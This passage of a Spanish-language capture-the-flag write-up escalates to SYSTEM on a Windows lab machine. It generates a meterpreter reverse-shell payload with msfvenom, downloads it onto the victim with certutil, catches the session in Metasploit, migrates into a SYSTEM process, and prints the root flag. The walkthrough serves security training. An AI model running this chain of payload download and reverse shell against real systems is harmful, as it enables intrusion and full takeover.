d72c4c3af0e921ef1548f70157b78a14
Pero todavía no tengo acceso al dir Administrator.
PS C:\Users\Administrator> ls
ls
ls : Access to the path 'C:\Users\Administrator' is denied.
At line:1 char:1
+ ls
+ ~~
+ CategoryInfo : PermissionDenied: (C:\Users\Administrator:String) [Get-ChildItem], UnauthorizedAccessExc
eption
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
Elevada de privilegios
Con SeDebugPrivilege
habilitado, podemos crear un payload malicioso y posteriormente cargarle para que cuando se ejecute en la máquina víctica establezca una conexión con mi mñaquina atacante.
❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.87 LPORT=88 -f exe -o payload.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: payload.exe
❯ python -m http.server 88
Serving HTTP on 0.0.0.0 port 88 (http://0.0.0.0:88/) ...
10.10.11.251 - - [18/Jun/2024 10:23:12] "GET /payload.exe HTTP/1.1" 200 -
10.10.11.251 - - [18/Jun/2024 10:23:12] "GET /payload.exe HTTP/1.1" 200 -
10.10.11.251 - - [18/Jun/2024 10:23:29] "GET /payload.exe HTTP/1.1" 200 -
10.10.11.251 - - [18/Jun/2024 10:23:36] "GET /payload.exe HTTP/1.1" 200 -
PS C:\Users\alaading> certutil.exe -urlcache -f http://10.10.14.87:88/payload.exe payload.exe
certutil.exe -urlcache -f http://10.10.14.87:88/payload.exe payload.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
PS C:\Users\alaading> dir
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 10/26/2023 4:57 PM 3D Objects
d-r--- 10/26/2023 4:57 PM Contacts
d-r--- 1/11/2024 6:43 AM Desktop
d-r--- 12/25/2023 1:45 PM Documents
d-r--- 10/26/2023 4:57 PM Downloads
d-r--- 10/26/2023 4:57 PM Favorites
d-r--- 10/26/2023 4:57 PM Links
d-r--- 10/26/2023 4:57 PM Music
d-r--- 10/26/2023 4:57 PM Pictures
d-r--- 10/26/2023 4:57 PM Saved Games
d-r--- 10/26/2023 4:57 PM Searches
d-r--- 10/26/2023 4:57 PM Videos
-a---- 6/18/2024 7:26 AM 7168 payload.exe
Ahora escribiendo msfconsole
, voy a configurar el explotar para recibir la conexción establecida por el payload.
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.87
LHOST => 10.10.14.87
msf6 exploit(multi/handler) > set LPORT 88
LPORT => 88
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.87:88
[*] Sending stage (201798 bytes) to 10.10.11.251
[*] Meterpreter session 1 opened (10.10.14.87:88 -> 10.10.11.251:49724) at 2024-06-18 13:55:51 -0400
Y micgro el PID de esta shell o sesión de Meterpreter a un proceso con acceso de sistema que me permite subir los privilegios de la sesión y obtener acceso de sistema en la máquina víctima.
meterpreter > migrate 552
[*] Migrating from 732 to 552...
[*] Migration completed successfully.
meterpreter > shell
Process 2980 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
---------------------------
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 0899-6CAF
Directory of C:\Users\Administrator\Desktop
01/15/2024 05:11 AM <DIR> .
01/15/2024 05:11 AM <DIR> ..
06/17/2024 09:01 PM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 7,169,400,832 bytes free
C:\Users\Administrator\Desktop>type root.txt
type root.txt
8d94baa452fa752555747cfdf200175c